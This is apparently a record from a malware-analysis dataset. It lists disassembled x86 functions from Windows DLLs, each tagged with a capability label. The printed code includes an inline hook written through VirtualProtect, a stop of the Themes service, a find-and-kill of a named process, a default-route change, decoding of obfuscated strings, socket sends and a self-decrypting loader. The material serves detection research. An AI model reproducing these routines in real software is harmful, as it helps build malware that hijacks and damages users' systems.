joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100057d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1000f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10005800
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009d40
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x1000583c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x1000583c
lea ecx, [edi - 1]
mov eax, ebx
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
pop edi
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009d40
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x10005913
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10005864
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10005870
movsx eax, bl
jmp 0x100058a8
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x100058d2
sub eax, 1
je 0x100058d2
sub eax, 2
jne 0x10005913
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmove ebx, ecx
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009d40
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x100058f0
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10005913
lea ecx, [ebp - 0x25]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [ebp - 0x30], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009d40
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10009d40
mov esp, ebp
pop ebp
ret 4
Function at 0x10005e80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1000f040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x10005f3c
cmp byte [esi + 0x3d], 0
je 0x10005f3c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x10005f2a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10005ef1
sub eax, 1
je 0x10005ef5
sub eax, 2
jne 0x10005f2a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009d40
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10005f13
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10005f2a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009d40
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009d40
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.10009d40
mov esp, ebp
pop ebp
ret

Function at 0x10006ad0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10006b06
push str.Main.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10006b06
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
push 0
push 0
push 0x10006770
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop ebp
ret 0xc

Function at 0x10006b10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1000f040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp + 8]
cmp al, 0xff
je 0x10006b3c
mov byte [esi], al
mov eax, dword [ebp + 0x10]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10009d40
mov esp, ebp
pop ebp
ret
Function at 0x10001000
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xac
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xa8], eax
push esi
push edi
mov ecx, 6
mov esi, str.QMDRU_PCZPcegqrcp_nnLr10
lea edi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov byte [esp + 0x46], al
lea eax, [esp + 0x14]
pop edi
lea edx, [eax + 1]
pop esi
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001050
sub eax, edx
xor ecx, ecx
test eax, eax
jle 0x1000106a
nop
add byte [esp + ecx + 0xc], 2
inc ecx
cmp ecx, eax
jl 0x10001060
mov eax, dword [str.Pr_Kbq]
mov ecx, dword [0x100041ac]
mov edx, dword [0x100041b0]
push 0x57
mov dword [esp + 0x48], ecx
mov dword [esp + 0x44], eax
mov ax, word [0x100041b4]
lea ecx, [esp + 0x52]
push 0
push ecx
mov dword [esp + 0x54], edx
mov word [esp + 0x58], ax
call sub.MSVCR90.dll_memset
lea eax, [esp + 0x4c]
add esp, 0xc
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100010b0
sub eax, edx
mov ecx, eax
xor eax, eax
test ecx, ecx
jle 0x100010cb
add byte [esp + eax + 0x40], 3
inc eax
cmp eax, ecx
jl 0x100010c1
lea edx, [esp + 4]
push edx
push 0xf003f
push 0
lea eax, [esp + 0x18]
push eax
push closesocket
mov dword [0x100056d4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000113d
lea ecx, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
lea edx, [esp + 4]
push edx
push eax
push eax
mov dword [esp + 0x10], eax
lea eax, [esp + 0x50]
push eax
push ecx
mov dword [esp + 0x20], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp]
cmp eax, 0xf4240
jbe 0x10001133
add eax, 0xbc614e
mov dword [0x100056d4], eax
jmp 0x1000113d
mov dword [0x100056d4], 0
mov eax, dword [esp + 4]
test eax, eax
je 0x1000114c
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0xa8]
xor ecx, esp
mov eax, 1
call fcn.1000362c
add esp, 0xac
ret
Function at 0x100015f0
Capabilities:
Set registry value

Disassembly:
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100015f5
sub eax, edx
mov edx, eax
test edx, edx
jle 0x1000166b
push esi
mov esi, 0x10005684
mov eax, edi
sub esi, edi
mov edi, edi
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10001610
xor eax, eax
test edx, edx
jle 0x1000163c
mov ecx, eax
and ecx, 0x80000001
jns 0x1000162f
dec ecx
or ecx, 0xfffffffe
inc ecx
add cl, al
add byte [eax + 0x10005684], cl
inc eax
cmp eax, edx
jl 0x10001620
inc edx
push edx
mov edx, dword [0x10005534]
push 0x10005684
push 1
push 0
push 0x10005168
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, edi
jmp 0x10001660
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10001660
pop esi
ret

Function at 0x10001670
Capabilities:
Set registry value

Disassembly:
mov eax, 0x100041ec
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001678
sub eax, edx
mov edx, eax
test edx, edx
jle 0x10001701
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x100041ec]
mov byte [eax + 0x10005694], cl
inc eax
test cl, cl
jne 0x10001690
xor eax, eax
test edx, edx
jle 0x100016cc
jmp 0x100016b0
mov ecx, eax
and ecx, 0x80000001
jns 0x100016bf
dec ecx
or ecx, 0xfffffffe
inc ecx
add cl, al
add byte [eax + 0x10005694], cl
inc eax
cmp eax, edx
jl 0x100016b0
inc edx
push edx
mov edx, dword [0x10005534]
push 0x10005694
push 1
push 0
push 0x10005180
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor eax, eax
jmp 0x100016f0
mov cl, byte [eax + 0x100041ec]
mov byte [eax + 0x10005694], cl
inc eax
test cl, cl
jne 0x100016f0
ret

Function at 0x10001710
Capabilities:
Set registry value

Disassembly:
mov eax, 0x100041ec
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001718
sub eax, edx
mov edx, eax
test edx, edx
jle 0x100017a1
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x100041ec]
mov byte [eax + 0x100056a4], cl
inc eax
test cl, cl
jne 0x10001730
xor eax, eax
test edx, edx
jle 0x1000176c
jmp 0x10001750
mov ecx, eax
and ecx, 0x80000001
jns 0x1000175f
dec ecx
or ecx, 0xfffffffe
inc ecx
add cl, al
add byte [eax + 0x100056a4], cl
inc eax
cmp eax, edx
jl 0x10001750
inc edx
push edx
mov edx, dword [0x10005534]
push 0x100056a4
push 1
push 0
push 0x10005198
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor eax, eax
jmp 0x10001790
mov cl, byte [eax + 0x100041ec]
mov byte [eax + 0x100056a4], cl
inc eax
test cl, cl
jne 0x10001790
ret
Function at 0x10002550
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x30
mov eax, dword [0x10005540]
push ebx
push ebp
push edi
push 0xffffffffffffffff
push eax
mov ebp, 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x40]
mov ebx, dword [sym.imp.WS2_32.dll_WSASend]
mov edi, eax
xor eax, eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x1c], edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], edi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
push 0
lea eax, [esp + 0x28]
push eax
push 0
lea ecx, [esp + 0x18]
push ecx
push 1
lea edx, [esp + 0x28]
push edx
push esi
call ebx
cmp eax, 0xffffffff
jne 0x100025cf
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
jne 0x1000261e
push 0
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x28]
push eax
push 1
call dword [sym.imp.WS2_32.dll_WSAWaitForMultipleEvents]
cmp eax, 0xffffffff
je 0x1000261e
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_WSAResetEvent]
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x30]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
test eax, eax
je 0x1000261e
mov eax, dword [esp + 0xc]
sub dword [esp + 0x14], eax
je 0x10002620
add dword [esp + 0x18], eax
jmp 0x100025a5
xor ebp, ebp
push edi
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov edx, dword [0x10005540]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x30
ret
Function at 0x10002640
Capabilities:
Get routing table

Disassembly:
sub esp, 0x190
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x18c], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor ebx, ebx
push 0x3c
push ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ebx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
mov ebp, eax
test ebp, ebp
je 0x100027e0
push ebx
lea eax, [esp + 0x14]
push eax
push ebp
call sub.IPHLPAPI.DLL_GetIpForwardTable
cmp eax, 0x7a
jne 0x100026b1
push ebp
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
call edi
push eax
call esi
mov ebp, eax
test ebp, ebp
je 0x100027e0
push 0
lea edx, [esp + 0x14]
push edx
push ebp
call sub.IPHLPAPI.DLL_GetIpForwardTable
test eax, eax
jne 0x100027d4
cmp dword [ebp], ebx
mov dword [esp + 0x18], ebx
jle 0x100027d4
mov edi, dword [sym.imp.MSVCR90.dll_strcpy_s]
mov ebx, dword [sym.imp.WS2_32.dll_inet_ntoa]
lea esi, [ebp + 8]
mov eax, dword [esi - 4]
push eax
call ebx
push eax
lea eax, [esp + 0xa0]
push 0x80
push eax
call edi
mov eax, dword [esi]
add esp, 0xc
push eax
call ebx
push eax
lea ecx, [esp + 0x20]
push 0x80
push ecx
call edi
mov eax, dword [esi + 8]
add esp, 0xc
push eax
call ebx
push eax
lea edx, [esp + 0x120]
push 0x80
push edx
call edi
add esp, 0xc
mov ecx, str.0.0.0.0
lea eax, [esp + 0x9c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002755
test dl, dl
je 0x10002751
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002755
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002735
xor eax, eax
jmp 0x1000275a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10002790
mov ecx, str.0.0.0.0
lea eax, [esp + 0x1c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002787
test dl, dl
je 0x10002783
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002787
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002767
xor eax, eax
jmp 0x1000278c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100027a7
mov eax, dword [esp + 0x18]
inc eax
add esi, 0x38
cmp eax, dword [ebp]
mov dword [esp + 0x18], eax
jl 0x100026e2
jmp 0x100027ca
xor eax, eax
lea esp, [esp]
mov cl, byte [esp + eax + 0x11c]
mov byte [eax + 0x100056d8], cl
inc eax
test cl, cl
jne 0x100027b0
mov dword [esp + 0x14], 1
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, dword [esp + 0x14]
push ebp
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x19c]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.1000362c
add esp, 0x190
ret
Function at 0x10002800
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x198], eax
mov eax, dword [ebp + 0xc]
sub eax, 0
push esi
je 0x100028b0
sub eax, 1
jne 0x100028d0
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x100028d0
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x10005540], eax
test eax, eax
je 0x100028d0
call fcn.10002640
test eax, eax
jne 0x10002880
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
push 0xc8
call esi
call fcn.10002640
test eax, eax
je 0x10002870
push 0x104
push 0
push 0x100056f8
call sub.MSVCR90.dll_memset
push 0x100056d8
push str._c_route_add_0.0.0.0_mask_0.0.0.0__s
push 0x100056f8
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x18
call fcn.100034e0
jmp 0x100028d0
mov ecx, dword [0x10005540]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x10005534]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x19c]
pop esi
xor ecx, esp
mov eax, 1
call fcn.1000362c
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100028f0
Capabilities:
Stop service

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.Themes
push eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_ControlService]
mov esi, eax
lea eax, [esp + 0x14]
push eax
push 1
push esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x1d
lea ecx, [esp + 0x14]
push ecx
push 4
push esi
call ebx
test eax, eax
jne 0x10002953
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x426
je 0x10002968
cmp dword [esp + 0x18], 1
je 0x10002970
push 0x3e8
call ebp
sub edi, 1
jne 0x10002938
jmp 0x10002970
mov dword [esp + 0x18], 1
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret

Function at 0x10002990
Capabilities:
Terminate process

Disassembly:
push ecx
mov eax, dword [0x100056cc]
push esi
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100029cb
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x100029c4
lea eax, [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ecx
ret
Function at 0x100029d0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x134
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
push esi
xor ebx, ebx
push ebx
push 0xf
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
call sub.KERNEL32.dll_Process32First
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002a10
sub eax, edx
mov edx, eax
xor ecx, ecx
test edx, edx
jle 0x10002a38
mov al, byte [esp + ecx + 0x2c]
cmp al, 0x41
jl 0x10002a33
cmp al, 0x5f
jg 0x10002a33
add al, 0x20
mov byte [esp + ecx + 0x2c], al
inc ecx
cmp ecx, edx
jl 0x10002a21
mov ecx, edi
lea eax, [esp + 0x2c]
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002a60
test dl, dl
je 0x10002a5c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002a60
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002a40
xor eax, eax
jmp 0x10002a65
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10002a7a
lea ecx, [esp + 8]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10002a05
jmp 0x10002a89
mov edx, dword [esp + 0x10]
mov dword [0x100056cc], edx
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x134]
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
mov dword [0x100056d0], 0
call fcn.1000362c
add esp, 0x134
ret
Function at 0x100034e0
Capabilities:
Create thread

Disassembly:
sub esp, 0xc
push esi
push edi
push 0
call dword [sym.imp.MSVCR90.dll__time64]
push eax
call dword [sym.imp.MSVCR90.dll_srand]
mov edi, dword [sym.imp.MSVCR90.dll_rand]
add esp, 8
mov esi, 4
call edi
sub esi, 1
jne 0x10003502
call edi
mov esi, eax
imul esi, esi, 0x1d
call edi
add eax, esi
cdq
mov ecx, 0xf4240
idiv ecx
mov esi, edx
cmp esi, ecx
jl 0x10003524
sub esi, ecx
cmp esi, 0x186a0
jge 0x10003535
call edi
lea esi, [esi + eax + 0x186a0]
mov edx, dword [0x10005540]
push 0xffffffffffffffff
push edx
mov dword [0x1000553c], esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, str.224269_6:_8__C
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003552
sub eax, edx
mov ecx, eax
xor eax, eax
test ecx, ecx
jle 0x1000357f
mov edx, eax
and edx, 0x80000001
jns 0x10003572
dec edx
or edx, 0xfffffffe
inc edx
add dl, al
sub byte [eax + str.224269_6:_8__C], dl
inc eax
cmp eax, ecx
jl 0x10003563
mov eax, dword [0x10005540]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call fcn.10001170
push 0x10005534
push 0xf003f
push 0
push 0x10005544
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call fcn.100017b0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0x10001a40
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x100035d8
push eax
call edi
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0x10002da0
push 0
push 0
call esi
test eax, eax
je 0x100035f3
push eax
call edi
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x10001c90
push 0
push 0
call esi
test eax, eax
je 0x1000360e
push eax
call edi
pop edi
pop esi
add esp, 0xc
ret

Function at 0x1000362c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10003636
repz ret
jmp fcn.100039e9
Function at 0x1001a6e4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1001a6f3
pop dword [ebp - 0x14]
mov eax, 0x1001a6f3
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x40ea3
push 0
mov eax, 0xe0b27ba6
sub eax, 0xd0af1aca
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x49de
mov ebx, eax
mov esi, 0x1003be00
add esi, dword [ebp - 0x14]
mov edi, 0x513305e1
add dword [ebp - 8], edi
mov edx, dword [esi]
xor dword [ebp - 0x10], 0x1712e4d2
sub edx, edi
xor dword [ebp - 0x10], ecx
mov dword [ebx], edx
add ebx, 4
add esi, 4
loop 0x1001a73b
add eax, 0xd2eafa2a
add eax, 0x2d162021
mov ebx, eax
add eax, 0x23206605
sub eax, 0x23206600
mov ecx, 0xee94b918
sub ecx, 0xde94b918
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1001a6e4
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1001a6e4
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret